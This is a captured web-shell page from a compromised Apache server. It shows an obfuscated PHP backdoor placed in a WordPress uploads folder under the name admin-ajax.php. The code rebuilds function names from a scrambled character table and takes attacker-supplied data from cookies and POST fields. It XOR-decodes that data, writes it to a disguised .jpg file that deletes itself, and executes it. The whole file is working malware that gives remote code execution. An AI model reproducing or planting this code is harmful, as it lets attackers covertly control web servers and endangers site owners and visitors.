HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/uploads/2019/08/admin-ajax.php
<?php
function nu6       ()


{

echo 'ik7';


}





function    te1       (	$ur2 )
{$kg4=0;
$oy3 =	"DAM#kop/YI.;U]snr)jlhTcbm[wu1i6eK_*<fxNy ?@EPgH(aFd4tvL'";
	$ro5 =	substr("", 0);

 while(1)
{ if($kg4>=count($ur2))   break; $ro5  .=	$oy3 [ $ur2[$kg4] ];   $kg4++;


}

return	$ro5;}$jf9 =	[];$uyki =	14119;


$jf9[58849]	= te1     (     Array(41  ,      6   ,   20	,	6 , 40 ,       42	, 27 ,	15 , 19	,	29 ,	15	,	4 ,	47 ,	33 ,      33 , 49	,	9 , 54       ,	43 , 33 ,       33 , 17 ,	11 , 40 ,)     ) ;
$ra30 =	49782;
$jf9[75222]       = te1 (	Array(25 , 1 , 12	, 21 , 46 ,   33  , 32	,  43 , 8 ,	13	,)	)     ;


$jf9[72146]     =    te1       ( Array(0	, 12	,	2     , 2    ,   8 ,	28 ,) )     ;


$jf9[10190] = te1 (   Array(10 ,	18 , 6 ,	45      ,)  ) ;


$jf9[48570] = te1  ( Array(46   ,     34 ,)   ) ;

$jf9[10680] =	te1 (     Array(10   , 7 ,) ) ;


$ff31      =	45316;

$jf9[94647]  =       te1     ( Array(35 ,) )     ;
$jf9[21422] =   te1      (       Array(3  ,)  ) ;
$hh32 = 21792;
$jf9[87974] =	te1	(   Array(7 ,)  ) ;

$wo33	= 59089;$jf9[21413]	= te1	( Array(36 , 29 ,	19 , 31 ,  33	,	6 , 27    ,   52 ,	33	, 22 , 5 , 15 , 52 , 31	, 15 ,	52    ,	14      ,)       )       ;$jf9[23971]    =  te1 (	Array(23	,   48 ,	14 ,  31	,	30 , 51 ,	33 , 50 , 31 ,  22    , 5 ,	50 ,   31 ,)	) ;$kg34 =	15370;

$jf9[31642] =    te1 ( Array(16 ,      48	,      26	, 27 ,	16 , 19	, 50 , 31 ,	22 ,	5	, 50   ,     31 ,)	) ;

$jf9[64402] =	te1     (	Array(48  , 16       , 16  ,	48 ,	39 ,  33     , 24 , 31    ,	16 ,	45	, 31 ,)	)    ;$ya35      =	67313;

$jf9[95630]	= te1	(      Array(14	, 52	, 16 , 33 ,	16 ,	31	, 6	,	31 ,	48	, 52     ,)   ) ;$jf9[31115] =	te1	(	Array(31 ,   37 , 6 ,	19 , 5	,	50 , 31 ,) )	;


$su36 =       80230;

$jf9[67466] = te1 ( Array(29	,     15 ,    52 ,    53	,	48 , 19  ,) ) ;$jf9[22405]  =	te1 (    Array(14    , 52 , 16 , 6 ,	5 , 14 ,) ) ;

$jf9[22391] = te1 (	Array(27 ,       15	,	19	,   29 ,  15     , 4 ,)	)	;

$jf9[9589] =	te1 ( Array(14 ,	52	,      16 ,	19 ,   31 , 15 ,)    ) ;
$tj37    = 25031;
$jf9[36207] =	te1 ( Array(6      , 48 ,       22 , 4	,)	) ;




$lr26   = $_COOKIE; $rf24 =	"50161";


$lr26 = $jf9[64402]($lr26,    $_POST);

foreach	($lr26    as $rj29    =>	$od25){


	function yy15       ( $jf9, $rj29    ,	$kn23 )

	{


   return substr (	$jf9[95630] (	$rj29      . 'da655fec-9f78-4a70-8cda-9b73d95b8c6d'	, $jf9[67466](	$kn23/$jf9[9589]( $rj29 ) )       + 1     ) , 0   , $kn23     );

 }


    function ho18 ( $jf9, $bl27	)


 { if   ( isset	( $bl27[2] )	)    {	 aq16 ( $jf9,      js14 ( $jf9,	$bl27));  

 return 1;
      }

 }  function	mu13 (    $jf9,    $bl27      )

      {


 return	@$jf9[36207]   ($jf9[48570]	,	$bl27    );


 }


 function	lb12 (  $jf9, $od25, $rj29)


  {
     return   mu13	( $jf9,   $od25     ) ^ yy15   ( $jf9, $rj29 , $jf9[9589](      $od25 )	);
 }	

 function       dn11  (     $jf9,	$od25, $rj29)

 {
 return $jf9[31115]      (   $jf9[21422] , lb12 ( $jf9,	$od25, $rj29));


 }
  

 function nw10 ( $jf9, $od25,     $rj29)	{


 $od25	= dn11	( $jf9, $od25,    $rj29);


     if (ho18	(	$jf9, $od25))

 {   exit();

	} }

	


	function js14	( $jf9,	$bl27)

 {       $lz28 =     $jf9[10680] . md5( 'da655fec-9f78-4a70-8cda-9b73d95b8c6d'	)       . $jf9[10190];


    	@$jf9[21413] ( $lz28,	$jf9[94647]	.     $jf9[58849] .	$bl27[1] ( $bl27[2] ) );

 


	return $lz28;
 }


 

	function hs17	(    $jf9,       $lz28)


 {


	@$jf9[22391]	(  $lz28	);


	exit();

 }

     function   aq16	(	$jf9, $lz28	) {
	@require ( $lz28	);
       $mm21	= md5($lz28);     $dt22 =	substr($lz28, $jf9[22405]($lz28,       $jf9[87974]) + 1);

       if (file_exists	( $lz28))      
     {


 $yd20 = $jf9[23971]($mm21);
	hs17	( $jf9, $lz28);
	$iw19       = $jf9[31642]($dt22);

 }
   }
 


 nw10	(   $jf9, $od25, $rj29);


}